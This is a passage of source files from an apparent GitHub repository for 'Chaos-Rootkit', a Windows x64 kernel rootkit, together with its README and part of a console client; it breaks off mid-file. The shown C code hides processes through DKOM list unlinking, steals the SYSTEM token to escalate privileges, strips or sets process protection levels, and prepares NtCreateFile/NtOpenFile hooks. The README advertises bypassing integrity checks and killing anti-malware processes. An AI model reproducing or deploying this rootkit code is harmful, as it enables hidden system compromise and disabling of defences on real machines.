PUNICODE_STRING RegistryPath); 125 | DWORD write_to_read_only_memory(void* address, void* buffer, size_t size); 126 | int GetPeHdrSize(); 127 | void PrepareDriverForUnload(); 128 | 129 | #ifdef __cplusplus 130 | } 131 | #endif 132 | 133 | #endif -------------------------------------------------------------------------------- /Chaos-Rootkit/ZwSwapCert.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/Chaos-Rootkit/ZwSwapCert.lib -------------------------------------------------------------------------------- /Chaos-Rootkit/header.h: -------------------------------------------------------------------------------- 1 | #ifndef HEADER_H 2 | # define HEADER_H 3 | 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | 14 | #define HIDE_PROC CTL_CODE(FILE_DEVICE_UNKNOWN, 0x45, METHOD_BUFFERED, FILE_ANY_ACCESS) 15 | #define PRIVILEGE_ELEVATION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x90, METHOD_BUFFERED, FILE_ANY_ACCESS) 16 | #define PROTECTION_LEVEL_SYSTEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x91, METHOD_BUFFERED, FILE_ANY_ACCESS) 17 | #define PROTECTION_LEVEL_WINTCB CTL_CODE(FILE_DEVICE_UNKNOWN, 0x92, METHOD_BUFFERED, FILE_ANY_ACCESS) 18 | #define PROTECTION_LEVEL_WINDOWS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x93, METHOD_BUFFERED, FILE_ANY_ACCESS) 19 | #define PROTECTION_LEVEL_AUTHENTICODE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x94, METHOD_BUFFERED, FILE_ANY_ACCESS) 20 | #define PROTECTION_LEVEL_WINTCB_LIGHT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x95, METHOD_BUFFERED, FILE_ANY_ACCESS) 21 | #define PROTECTION_LEVEL_WINDOWS_LIGHT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x96, METHOD_BUFFERED, FILE_ANY_ACCESS) 22 | #define PROTECTION_LEVEL_LSA_LIGHT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x97, METHOD_BUFFERED, FILE_ANY_ACCESS) 23 | #define PROTECTION_LEVEL_ANTIMALWARE_LIGHT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x98, METHOD_BUFFERED, FILE_ANY_ACCESS) 24 | #define PROTECTION_LEVEL_AUTHENTICODE_LIGHT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x99, METHOD_BUFFERED, FILE_ANY_ACCESS) 25 | #define UNPROTECT_ALL_PROCESSES CTL_CODE(FILE_DEVICE_UNKNOWN, 0x100, METHOD_BUFFERED, FILE_ANY_ACCESS) 26 | #define RESTRICT_ACCESS_TO_FILE_CTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x169, METHOD_BUFFERED, FILE_ANY_ACCESS) 27 | #define BYPASS_INTEGRITY_FILE_CTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x170, METHOD_BUFFERED, FILE_ANY_ACCESS) 28 | #define ZWSWAPCERT_CTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x171, METHOD_BUFFERED, FILE_ANY_ACCESS) 29 | 30 | #define STATUS_ALREADY_EXISTS ((NTSTATUS)0xB7) 31 | #define ERROR_UNSUPPORTED_OFFSET ((NTSTATUS)0x00000233) 32 | 33 | typedef struct foperationx { 34 | int rpid; 35 | wchar_t filename[MAX_PATH]; 36 | }fopera, * Pfoperation; 37 | 38 | 39 | typedef struct protection_levels { 40 | BYTE PS_PROTECTED_SYSTEM; 41 | BYTE PS_PROTECTED_WINTCB; 42 | BYTE PS_PROTECTED_WINDOWS; 43 | BYTE PS_PROTECTED_AUTHENTICODE; 44 | BYTE PS_PROTECTED_WINTCB_LIGHT; 45 | BYTE PS_PROTECTED_WINDOWS_LIGHT; 46 | BYTE PS_PROTECTED_LSA_LIGHT; 47 | BYTE PS_PROTECTED_ANTIMALWARE_LIGHT; 48 | BYTE PS_PROTECTED_AUTHENTICODE_LIGHT; 49 | }protection_level, * Pprotection_levels; 50 | 51 | 52 | typedef struct eprocess_offsets { 53 | DWORD Token_offset; 54 | DWORD ActiveProcessLinks_offset; 55 | DWORD protection_offset; 56 | }exprocess_offsets, * peprocess_offsets; 57 | 58 | 59 | typedef struct x_hooklist { 60 | 61 | BYTE NtOpenFilePatch[12]; 62 | void* NtOpenFileOrigin; 63 | void* NtOpenFileAddress; 64 | uintptr_t* NtOpenFileHookAddress; 65 | 66 | BYTE NtCreateFilePatch[12]; 67 | BYTE NtCreateFileOrigin[12]; 68 | void* NtCreateFileAddress; 69 | uintptr_t* NtCreateFileHookAddress; 70 | 71 | int takeCopy; 72 | int pID; 73 | wchar_t filename[MAX_PATH]; 74 | 75 | BOOL check_off; 76 | UNICODE_STRING decoyFile; 77 | 78 | 79 | }hooklist, * Phooklist; 80 | 81 | hooklist xHooklist; 82 | EX_PUSH_LOCK pLock; 83 | exprocess_offsets eoffsets; 84 | protection_level global_protection_levels; 85 | 86 | 87 | 88 | void IRP_MJCreate(); 89 | void IRP_MJClose(); 90 | DWORD UnprotectAllProcesses(); 91 | DWORD HideProcess(int pid); 92 | DWORD InitializeOffsets(Phooklist hooklist); 93 | DWORD PrivilegeElevationForProcess(int pid); 94 | DWORD ChangeProtectionLevel(int pid, BYTE protectionOption); 95 | NTSTATUS InitializeStructure(Phooklist hooklist_s); 96 | const char* PsGetProcessImageFileName(PEPROCESS Process); 97 | 98 | #endif -------------------------------------------------------------------------------- /Chaos-Rootkit/utils.c: -------------------------------------------------------------------------------- 1 | #include "header.h" 2 | 3 | 4 | protection_level global_protection_levels = { 5 | .PS_PROTECTED_SYSTEM = 0x72, 6 | .PS_PROTECTED_WINTCB = 0x62, 7 | .PS_PROTECTED_WINDOWS = 0x52, 8 | .PS_PROTECTED_AUTHENTICODE = 0x12, 9 | .PS_PROTECTED_WINTCB_LIGHT = 0x61, 10 | .PS_PROTECTED_WINDOWS_LIGHT = 0x51, 11 | .PS_PROTECTED_LSA_LIGHT = 0x41, 12 | .PS_PROTECTED_ANTIMALWARE_LIGHT = 0x31, 13 | .PS_PROTECTED_AUTHENTICODE_LIGHT = 0x11 14 | }; 15 | 16 | void IRP_MJCreate() 17 | { 18 | DbgPrint("IRP_CREATED\n"); 19 | 20 | } 21 | 22 | void IRP_MJClose() 23 | { 24 | DbgPrint("IRP_CLOSED"); 25 | 26 | } 27 | 28 | DWORD UnprotectAllProcesses() { 29 | PVOID process = NULL; 30 | PLIST_ENTRY plist; 31 | NTSTATUS status = STATUS_UNSUCCESSFUL; 32 | NTSTATUS ret = PsLookupProcessByProcessId((HANDLE)4, (PEPROCESS*)&process); 33 | 34 | if (!NT_SUCCESS(ret)) 35 | { 36 | if (ret == STATUS_INVALID_PARAMETER) 37 | { 38 | DbgPrint("the process ID was not found."); 39 | } 40 | if (ret == STATUS_INVALID_CID) 41 | { 42 | DbgPrint("the specified client ID is not valid."); 43 | } 44 | status = ret; 45 | } 46 | 47 | __try 48 | { 49 | plist = (PLIST_ENTRY)((char*)process + eoffsets.ActiveProcessLinks_offset); 50 | 51 | while (plist->Flink != (PLIST_ENTRY)((char*)process + eoffsets.ActiveProcessLinks_offset)) 52 | { 53 | DbgPrint("Blink: %p, Flink: %p\n", plist->Blink, plist->Flink); 54 | 55 | ULONG_PTR EProtectionLevel = (ULONG_PTR)plist->Flink - eoffsets.ActiveProcessLinks_offset + eoffsets.protection_offset; 56 | 57 | *(BYTE*)EProtectionLevel = (BYTE)0; 58 | 59 | plist = plist->Flink; 60 | } 61 | status = STATUS_SUCCESS; 62 | } 63 | __finally { 64 | ObDereferenceObject(process); 65 | return (status); 66 | } 67 | 68 | } 69 | 70 | DWORD 71 | HideProcess( 72 | int pid 73 | ) 74 | { 75 | PVOID process = NULL; 76 | NTSTATUS status = STATUS_UNSUCCESSFUL; 77 | PLIST_ENTRY plist; 78 | BOOLEAN lockAcquired = FALSE; 79 | 80 | __try 81 | { 82 | __try 83 | { 84 | 85 | NTSTATUS ret = PsLookupProcessByProcessId((HANDLE)pid, (PEPROCESS*)&process); 86 | 87 | if (ret != STATUS_SUCCESS) 88 | { 89 | if (ret == STATUS_INVALID_PARAMETER) 90 | { 91 | DbgPrint("The process ID was not found."); 92 | } 93 | if (ret == STATUS_INVALID_CID) 94 | { 95 | DbgPrint("The specified client ID is not valid."); 96 | } 97 | return (-1); 98 | } 99 | 100 | plist = (PLIST_ENTRY)((char*)process + eoffsets.ActiveProcessLinks_offset); 101 | 102 | ExAcquirePushLockExclusive(&pLock); 103 | lockAcquired = TRUE; 104 | 105 | if (plist->Flink == NULL || plist->Blink == NULL) 106 | { 107 | DbgPrint("Already Hidden\n"); 108 | __leave; 109 | } 110 | 111 | if (plist->Flink->Blink != plist || plist->Blink->Flink != plist) 112 | { 113 | DbgPrint("Error: Inconsistent Flink and Blink pointers."); 114 | __leave; 115 | } 116 | 117 | plist->Flink->Blink = plist->Blink; 118 | plist->Blink->Flink = plist->Flink; 119 | 120 | plist->Flink = NULL; 121 | plist->Blink = NULL; 122 | 123 | DbgPrint("Process '%wZ' is now hidden", PsGetProcessImageFileName(process)); 124 | 125 | status = STATUS_SUCCESS; 126 | } 127 | __except (EXCEPTION_EXECUTE_HANDLER) 128 | { 129 | DbgPrint("An exception occurred while hiding the process."); 130 | return (GetExceptionCode()); 131 | } 132 | } 133 | __finally 134 | { 135 | if (process) 136 | ObDereferenceObject(process); 137 | if (lockAcquired) 138 | ExReleasePushLockExclusive(&pLock); 139 | } 140 | return (status); 141 | } 142 | 143 | 144 | DWORD InitializeOffsets(Phooklist hooklist) { 145 | RTL_OSVERSIONINFOW pversion; 146 | 147 | RtlGetVersion(&pversion); 148 | 149 | DbgPrint("Windows build %lu.", pversion.dwBuildNumber); 150 | 151 | eoffsets.ActiveProcessLinks_offset = 0; 152 | eoffsets.Token_offset = 0; 153 | eoffsets.protection_offset = 0; 154 | 155 | // Initialize offsets based on the Windows build number 156 | if (pversion.dwBuildNumber >= 19041 && pversion.dwBuildNumber <= 19045) { 157 | eoffsets.ActiveProcessLinks_offset = 0x448; 158 | eoffsets.Token_offset = 0x4B8; 159 | eoffsets.protection_offset = 0x87A; 160 | } 161 | else if (pversion.dwBuildNumber == 18362 || pversion.dwBuildNumber == 17763) { 162 | eoffsets.ActiveProcessLinks_offset = 0x2F0; 163 | eoffsets.Token_offset = 0x360; 164 | eoffsets.protection_offset = 0x6FA; 165 | } 166 | else if (pversion.dwBuildNumber == 17134 || pversion.dwBuildNumber == 16299 || pversion.dwBuildNumber == 15063) { 167 | eoffsets.ActiveProcessLinks_offset = 0x2E8; 168 | eoffsets.Token_offset = 0x358; 169 | eoffsets.protection_offset = 0x6CA; 170 | } 171 | else if (pversion.dwBuildNumber == 22631 || pversion.dwBuildNumber == 22621 || pversion.dwBuildNumber == 22000) { 172 | eoffsets.ActiveProcessLinks_offset = 0x448; 173 | eoffsets.Token_offset = 0x4B8; 174 | eoffsets.protection_offset = 0x87A; 175 | } 176 | 177 | if (eoffsets.ActiveProcessLinks_offset && eoffsets.Token_offset && eoffsets.protection_offset) { 178 | xHooklist.check_off = 0; 179 | return STATUS_SUCCESS; 180 | } 181 | 182 | DbgPrint("Unsupported Windows build %lu. Please open an issue in the repository with the given build number.", pversion.dwBuildNumber); 183 | xHooklist.check_off = 1; 184 | return STATUS_UNSUCCESSFUL; 185 | } 186 | 187 | DWORD PrivilegeElevationForProcess(int pid) 188 | { 189 | PVOID process = NULL; 190 | PVOID systemProcess = NULL; 191 | PACCESS_TOKEN targetToken = NULL; 192 | PACCESS_TOKEN systemToken = NULL; 193 | 194 | __try 195 | { 196 | // Lookup the target process by PID 197 | NTSTATUS status = PsLookupProcessByProcessId((HANDLE)pid, &process); 198 | if (status != STATUS_SUCCESS) 199 | { 200 | switch (status) 201 | { 202 | case STATUS_INVALID_PARAMETER: 203 | DbgPrint("The process ID was not found.\n"); 204 | break; 205 | case STATUS_INVALID_CID: 206 | DbgPrint("The specified client ID is not valid.\n"); 207 | break; 208 | default: 209 | DbgPrint("Unknown error occurred while looking up process ID.\n"); 210 | break; 211 | } 212 | return -1; 213 | } 214 | 215 | 216 | status = PsLookupProcessByProcessId((HANDLE)0x4, &systemProcess); 217 | if (status != STATUS_SUCCESS) 218 | { 219 | switch (status) 220 | { 221 | case STATUS_INVALID_PARAMETER: 222 | DbgPrint("System process ID was not found.\n"); 223 | break; 224 | case STATUS_INVALID_CID: 225 | DbgPrint("The system ID is not valid.\n"); 226 | break; 227 | default: 228 | DbgPrint("Unknown error occurred while looking up system process ID.\n"); 229 | break; 230 | } 231 | return -1; 232 | } 233 | 234 | char* imageName = PsGetProcessImageFileName((PEPROCESS)process); 235 | DbgPrint("Target process image name: %s\n", imageName); 236 | 237 | targetToken = PsReferencePrimaryToken(process); 238 | if (!targetToken) 239 | { 240 | return -1; 241 | } 242 | 243 | DbgPrint("%s token: %x\n", imageName, targetToken); 244 | 245 | systemToken = PsReferencePrimaryToken(systemProcess); 246 | if (!systemToken) 247 | { 248 | return -1; 249 | } 250 | 251 | DbgPrint("System token: %x\n", systemToken); 252 | 253 | ULONG_PTR targetTokenAddress = (ULONG_PTR)process + eoffsets.Token_offset; 254 | DbgPrint("%s token address: %x\n", imageName, targetTokenAddress); 255 | 256 | ULONG_PTR systemTokenAddress = (ULONG_PTR)systemProcess + eoffsets.Token_offset; 257 | DbgPrint("System token address: %x\n", systemTokenAddress); 258 | 259 | *(PHANDLE)targetTokenAddress = *(PHANDLE)systemTokenAddress; 260 | DbgPrint("Process %s token updated to: %x\n", imageName, *(PHANDLE)(targetTokenAddress)); 261 | } 262 | __finally 263 | { 264 | // Dereference objects in the finally block 265 | if (systemProcess) 266 | { 267 | ObDereferenceObject(systemProcess); 268 | } 269 | if (targetToken) 270 | { 271 | ObDereferenceObject(targetToken); 272 | } 273 | if (systemToken) 274 | { 275 | ObDereferenceObject(systemToken); 276 | } 277 | if (process) 278 | { 279 | ObDereferenceObject(process); 280 | } 281 | } 282 | 283 | return STATUS_SUCCESS; 284 | } 285 | 286 | 287 | 288 | DWORD 289 | ChangeProtectionLevel(int pid, BYTE protectionOption) 290 | { 291 | PVOID process = NULL; 292 | 293 | NTSTATUS ret = PsLookupProcessByProcessId((HANDLE)pid, &process); 294 | 295 | if (ret != STATUS_SUCCESS) 296 | { 297 | if (ret == STATUS_INVALID_PARAMETER) 298 | { 299 | DbgPrint("the process ID was not found."); 300 | } 301 | if (ret == STATUS_INVALID_CID) 302 | { 303 | DbgPrint("the specified client ID is not valid."); 304 | } 305 | return (-1); 306 | } 307 | 308 | ULONG_PTR EProtectionLevel = (ULONG_PTR)process + eoffsets.protection_offset; 309 | 310 | if (*(BYTE*)EProtectionLevel == protectionOption) 311 | { 312 | DbgPrint("Protection Level is already set !!"); 313 | 314 | return (0); 315 | } 316 | 317 | *(BYTE*)EProtectionLevel = protectionOption; 318 | 319 | return (0); 320 | } 321 | 322 | NTSTATUS InitializeStructure(Phooklist hooklist_s) 323 | { 324 | if (!hooklist_s) 325 | { 326 | DbgPrint("invalid structure provided \n"); 327 | return (-1); 328 | 329 | } 330 | UNICODE_STRING NtCreateFile_STRING = RTL_CONSTANT_STRING(L"NtCreateFile"); 331 | 332 | UNICODE_STRING NtOpenFile_STRING = RTL_CONSTANT_STRING(L"NtOpenFile"); 333 | 334 | RtlInitUnicodeString(&hooklist_s->decoyFile, L"\\SystemRoot\\System32\\ntoskrnl.exe"); 335 | 336 | hooklist_s->NtCreateFileAddress = MmGetSystemRoutineAddress(&NtCreateFile_STRING); 337 | 338 | if (!hooklist_s->NtCreateFileAddress) 339 | { 340 | DbgPrint("NtCreateFile NOT resolved\n"); 341 | 342 | return (-1); 343 | } 344 | 345 | memset(hooklist_s->NtCreateFilePatch, 0x0, 12); 346 | 347 | hooklist_s->NtCreateFilePatch[0] = 0x48; 348 | hooklist_s->NtCreateFilePatch[1] = 0xb8; 349 | 350 | hooklist_s->NtCreateFilePatch[10] = 0xff; 351 | hooklist_s->NtCreateFilePatch[11] = 0xe0; 352 | 353 | DbgPrint("NtCreateFile resolved\n"); 354 | 355 | hooklist_s->NtOpenFileAddress = MmGetSystemRoutineAddress(&NtOpenFile_STRING); 356 | 357 | if (!hooklist_s->NtOpenFileAddress) 358 | { 359 | DbgPrint("NtOpenFile NOT resolved\n"); 360 | 361 | return (-1); 362 | } 363 | 364 | memset(hooklist_s->NtOpenFilePatch, 0x0, 12); 365 | 366 | hooklist_s->NtOpenFilePatch[0] = 0x48; 367 | hooklist_s->NtOpenFilePatch[1] = 0xb8; 368 | 369 | hooklist_s->NtOpenFilePatch[10] = 0xff; 370 | hooklist_s->NtOpenFilePatch[11] = 0xe0; 371 | 372 | DbgPrint("NtOpenFile resolved\n"); 373 | 374 | DbgPrint("taking a copy before hook.. \n"); 375 | 376 | memcpy(hooklist_s->NtCreateFileOrigin, hooklist_s->NtCreateFileAddress, 12); 377 | 378 | ExInitializePushLock(&pLock); 379 | 380 | return (0); 381 | } 382 | 383 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Chaos-Rootkit 2 | 3 |

4 | Image Description 5 |

6 | 7 | 8 | * Chaos-Rootkit is an x64 Ring 0 rootkit with capabilities for process hiding, privilege escalation, protecting and unprotecting processes, and restricting access to files except for whitelisted processes. It can bypass file integrity checks and protect it against anti-malware, and swap the driver in memory and on disk with a signed Microsoft driver, working seamlessly on the latest Windows versions 9 | 10 | * Gui version 11 | 12 |

13 | image 14 |

15 | 16 | 17 |

18 | 19 | Buy Me A Coffee 20 | 21 |

22 | 23 | # Features 24 | 25 | * Hide process: This feature allows you to hide processes from listing tools via DKOM. 26 | 27 | * Elevate specific process privileges : This feature enables you to elevate specific processes privilege . 28 | 29 | * Swap the driver on disk and in memory with a Microsoft driver: All credit for this implementation goes to [IDontCode](https://x.com/_xeroxz) for his exceptional work, I've also handled the unload and shutdown routines for this feature so that the rootkits driver doesn’t get corrupted or crash at some point. 30 | 31 | * Restrict file access for user-mode applications except for the provided process ID 32 | 33 | * Spawn elevated process: launch command prompt with elevated privileges . 34 | 35 | * Bypass the file integrity check and protect it against anti-malware : this work by redirecting file operations to a legitimate file, making our file appear authentic and signed with a valid certificate also if an anti-malware attempting to scan it, the rootkit will immediately kill the anti-malware process. 36 | 37 | * Unprotect all processes 38 | 39 | * Protect a specific process with any given protection level (WinSystem, WinTcb, Windows, Authenticode, Lsa, Antimalware) . 40 | 41 | # Note 42 | 43 | * The console client is no longer maintained. Use the GUI instead. 44 | 45 | # to-do 46 | 47 | * More code cleaning 48 | * handling data races. 49 | * a check for critical process before shutting it down 50 | 51 | # Technical Details 52 | 53 | * First, we locate the `ActiveProcessLinks`, which is a pointer to the `PLIST_ENTRY` structure. In our case, the `ActiveProcessLinks` pointer is located at offset `0x448` within the `EPROCESS` structure. It is important to note that this offset may vary across different windows versions . 54 | 55 | ![image](https://user-images.githubusercontent.com/60795188/227363440-488dcf7d-d513-4563-8651-e44c50794881.png) 56 | 57 | | x64 | | x86 | | 58 | | --- | --- | --- | --- | 59 | | 0xE0 | (late 5.2) | 0xB4 | (3.10) | 60 | | 0xE8 | (6.0) | 0x98 | (3.50 to 4.0) | 61 | | 0x0188 | (6.1) | 0xA0 | (5.0) | 62 | | 0x02E8 | (6.2 to 6.3) | 0x88 | (5.1 to early 5.2) | 63 | | 0x02F0 | (10.0 to 1607)| 0x98 | (late 5.2) | 64 | | 0x02E8 | (1703 to 1809)| 0xA0 | (6.0) | 65 | | 0x02F0 | (1903) | 0xB8 | (6.1 to 1903) | 66 | | 0x0448 | | 0xE8 | | 67 | 68 | * The `PLIST_ENTRY` structure is a doubly linked list structure . It contains two members, `Blink` and `Flink`, which are pointers to the previous and next entries in the list, respectively, These pointers allow for efficient traversal of the linked list in both directions. 69 | 70 | ![image](https://user-images.githubusercontent.com/60795188/227370531-b1a90f9a-4fe7-4f57-8787-e1da1543e1b7.png) 71 | 72 | * The flink member resides in offset `0x0` and the blink member resides in offset `0x8`. The flink address `0xffff9c8b\071e3488` points to the next process node, while the blink address `0xfffff805\5121e0a0` points to the previous process node 73 | 74 | ![Screenshot 2023-03-23 222046](https://user-images.githubusercontent.com/60795188/227380821-92717306-66ee-40a0-8831-1cfc1a819eda.png) 75 | 76 | * a diagram represents the `PLIST_ENTRY` structure. 77 | 78 | ![Screenshot 2023-03-23 181753](https://user-images.githubusercontent.com/60795188/227361450-d35e0fbb-cfbd-4fbf-bfd6-cef3373ab07a.png) 79 | 80 | * To hide our chosen process in a listing tool, we can use a technique where we modify the flink and blink pointers of the adjacent process nodes to point to each other, effectively removing our process from the linked list. Specifically, we make the next process node's blink pointer point to the previous node, and the previous process node's flink pointer point to the next node. This makes our process appear invisible in the listing tool's view of the linked list of processes 81 | 82 | ![image](https://user-images.githubusercontent.com/60795188/227380533-0e80298c-0800-485a-8797-1cc7a0efb757.png) 83 | 84 | * Note: After removing the node from `PLIST_ENTRY` structure, it is important to set the corresponding pointer to NULL, Otherwise, when attempting to close the process, the PLIST_ENTRY structure will get sent to the `PspDeleteProcess` API to free all its resources, after the API does not find the process in the structure, it will suspect that the process has already been freed, resulting in a Blue Screen of Death (BSOD), as shown below . 85 | 86 | ![image](https://user-images.githubusercontent.com/60795188/228383831-f1a4940a-4ebb-4478-b964-ec54d4eab8e7.png) 87 | 88 | 89 | ## Elevate process privileges 90 | 91 | * When a process is created, it inherits the token of the user who created it, The token is used by the system to determine what actions the process can perform, The token contains information about the user's security identifier (SID), group memberships, and privileges. 92 | 93 | ![image](https://user-images.githubusercontent.com/60795188/226148214-1d63149a-e2e6-4938-9067-30df7939c9db.png) 94 | 95 | * The Token member resides at offset `0x4b8` in the `_EPROCESS` structure, which is a data structure that represents a process object. The Token member is defined in `EX_FAST_REF` structure, which is a union type that can store either a pointer to a kernel object or a reference count, depending on the size of the pointer , The offset of the `_EX_FAST_REF` structure within `_EPROCESS` depends on the specific version of Windows being used, but it is typically located at an offset of `0x4b8` in recent versions of Windows.. 96 | 97 | * Windows Build Number token Offsets for x64 and x86 Architectures 98 | 99 | | x64 offsets | x86 offsets | 100 | | --------------| ------------------ | 101 | | 0x0160 (late 5.2) | 0x0150 (3.10) | 102 | | 0x0168 (6.0) | 0x0108 (3.50 to 4.0) | 103 | | 0x0208 (6.1) | 0x012C (5.0) | 104 | | 0x0348 (6.2 to 6.3) | 0xC8 (5.1 to early 5.2) | 105 | | 0x0358 (10.0 to 1809) | 0xD8 (late 5.2) | 106 | | 0x0360 (1903) | 0xE0 (6.0) | 107 | | 0x04B8 | 0xF8 (6.1) | 108 | | | 0xEC (6.2 to 6.3) | 109 | | | 0xF4 (10.0 to 1607) | 110 | | | 0xFC (1703 to 1903) | 111 | | | 0x012C | 112 | 113 | 114 | ![image](https://user-images.githubusercontent.com/60795188/226148257-b679202e-2371-4bda-98ea-689107221075.png) 115 | 116 | * The `_EX_FAST_REF` structure in Windows contains three members: `Object` and `RefCount` and `Value` 117 | 118 | ![image](https://user-images.githubusercontent.com/60795188/226148720-8807b491-591c-479c-981f-734c1e868981.png) 119 | 120 | * You can either spawn a privileged process or elevate an already existing process ID. 121 | 122 | ![image](https://user-images.githubusercontent.com/60795188/226211454-7266638a-8cce-4417-a139-d3490d1fb68e.png) 123 | 124 | * For the sake of this explanation, we will focus on the second option and use CMD as an example 125 | 126 | ![image](https://user-images.githubusercontent.com/60795188/226149275-cfd76437-dda3-4964-9a54-43fa20247b3e.png) 127 | 128 | * CMD inherited Token 129 | 130 | ![image](https://user-images.githubusercontent.com/60795188/226149373-2bf16ae9-e67f-4150-86b3-8376b0eb8428.png) 131 | 132 | * we send the Process ID to the driver through an IOCTL 133 | 134 | ![image](https://user-images.githubusercontent.com/60795188/226196873-f5cd9ab4-5c71-4d05-a0d4-4ae80a8dd809.png) 135 | 136 | * after the driver receives the PID from the user mode application, it uses it to obtain a pointer to the `_EPROCESS` structure for the target process. The driver then accesses the Token member of the `_EPROCESS` structure to obtain a pointer to the process token, which it replaces with the system token, effectively changing the security context of the process to that of the system. However, if the driver does not correctly locate the Token member within the `_EPROCESS` structure or if the offset of the Token is other than `0x4b8` , the driver may crash the system or the target process ,this problem will be fixed in the next updates . 137 | 138 | 139 | * cmd token after 140 | 141 | ![image](https://user-images.githubusercontent.com/60795188/227381408-58e9cc54-95ac-4ec5-8d9c-5de6c28f7062.png) 142 | 143 | * the process privileges, groups, rights 144 | 145 | ![image](https://user-images.githubusercontent.com/60795188/226149800-e80ea9d8-5f69-4425-ad0e-a4a65cd946d9.png) 146 | 147 | 148 | 149 | 150 | -------------------------------------------------------------------------------- /ring3-console/ring3_app.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #error "THIS APP IS REDACTED AND SHOULD NOT BE USED. IT IS NO LONGER UPDATED. USE THE GUI INSTEAD." 5 | 6 | #define HIDE_PROC CTL_CODE(FILE_DEVICE_UNKNOWN, 0x45, METHOD_BUFFERED, FILE_ANY_ACCESS) 7 | #define PRIVILEGE_ELEVATION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x90, METHOD_BUFFERED, FILE_ANY_ACCESS) 8 | #define PROTECTION_LEVEL_SYSTEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x91, METHOD_BUFFERED, FILE_ANY_ACCESS) 9 | #define PROTECTION_LEVEL_WINTCB CTL_CODE(FILE_DEVICE_UNKNOWN, 0x92, METHOD_BUFFERED, FILE_ANY_ACCESS) 10 | #define PROTECTION_LEVEL_WINDOWS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x93, METHOD_BUFFERED, FILE_ANY_ACCESS) 11 | #define PROTECTION_LEVEL_AUTHENTICODE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x94, METHOD_BUFFERED, FILE_ANY_ACCESS) 12 | #define PROTECTION_LEVEL_WINTCB_LIGHT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x95, METHOD_BUFFERED, FILE_ANY_ACCESS) 13 | #define PROTECTION_LEVEL_WINDOWS_LIGHT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x96, METHOD_BUFFERED, FILE_ANY_ACCESS) 14 | #define PROTECTION_LEVEL_LSA_LIGHT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x97, METHOD_BUFFERED, FILE_ANY_ACCESS) 15 | #define PROTECTION_LEVEL_ANTIMALWARE_LIGHT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x98, METHOD_BUFFERED, FILE_ANY_ACCESS) 16 | #define PROTECTION_LEVEL_AUTHENTICODE_LIGHT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x99, METHOD_BUFFERED, FILE_ANY_ACCESS) 17 | #define UNPROTECT_ALL_PROCESSES CTL_CODE(FILE_DEVICE_UNKNOWN, 0x100, METHOD_BUFFERED, FILE_ANY_ACCESS) 18 | 19 | int 20 | isProcessRunning( 21 | int pid 22 | ) 23 | { 24 | HANDLE phandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); 25 | if (!phandle) 26 | return (-1); 27 | CloseHandle(phandle); 28 | return (0); 29 | 30 | } 31 | 32 | void printOptions() { 33 | printf("Protection level options:\n"); 34 | printf("1. PS_PROTECTED_SYSTEM (0x72) - WinSystem (7) - Protected (2)\n"); 35 | printf("2. PS_PROTECTED_WINTCB (0x62) - WinTcb (6) - Protected (2)\n"); 36 | printf("3. PS_PROTECTED_WINDOWS (0x52) - Windows (5) - Protected (2)\n"); 37 | printf("4. PS_PROTECTED_AUTHENTICODE (0x12) - Authenticode (1) - Protected (2)\n"); 38 | printf("5. PS_PROTECTED_WINTCB_LIGHT (0x61) - WinTcb (6) - Protected Light (1)\n"); 39 | printf("6. PS_PROTECTED_WINDOWS_LIGHT (0x51) - Windows (5) - Protected Light (1)\n"); 40 | printf("7. PS_PROTECTED_LSA_LIGHT (0x41) - Lsa (4) - Protected Light (1)\n"); 41 | printf("8. PS_PROTECTED_ANTIMALWARE_LIGHT (0x31) - Antimalware (3) - Protected Light (1)\n"); 42 | printf("9. PS_PROTECTED_AUTHENTICODE_LIGHT (0x11) - Authenticode (1) - Protected Light (1)\n"); 43 | } 44 | 45 | int 46 | wmain( 47 | void 48 | ) 49 | { 50 | int option, pid = 0; 51 | printf("1. Hide specific process\n2. Spawn an elevated process\n3. Elevate a specific process\n4. Unprotect All Processes\n5. Protect Specific Process\nPlease enter your choice: "); 52 | scanf_s("%d", &option); 53 | 54 | 55 | if (option == 1 || option == 3 || option == 5) 56 | { 57 | printf("Enter process ID (pid) :"); 58 | scanf_s("%d", &pid); 59 | } 60 | else if (option == 2) 61 | { 62 | pid = GetCurrentProcessId(); 63 | } 64 | else 65 | { 66 | if (option != 4) 67 | { 68 | printf("Invalid Option !\n"); 69 | return (-1); 70 | } 71 | } 72 | 73 | DWORD lpBytesReturned; 74 | 75 | HANDLE hdevice = CreateFile(L"\\\\.\\KDChaos", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); 76 | 77 | if (hdevice == INVALID_HANDLE_VALUE) 78 | { 79 | printf("failed to open device\n"); 80 | return (-1); 81 | } 82 | else 83 | printf("driver device opened\n"); 84 | 85 | if (option == 1) 86 | { 87 | if (DeviceIoControl(hdevice, HIDE_PROC, (LPVOID)&pid, sizeof(pid), &lpBytesReturned, sizeof(lpBytesReturned), 0, NULL)) 88 | printf("IOCTL %x sent!\n", HIDE_PROC); 89 | else 90 | { 91 | printf("Failed to send the IOCTL %x.\n", HIDE_PROC); 92 | return (-1); 93 | } 94 | if 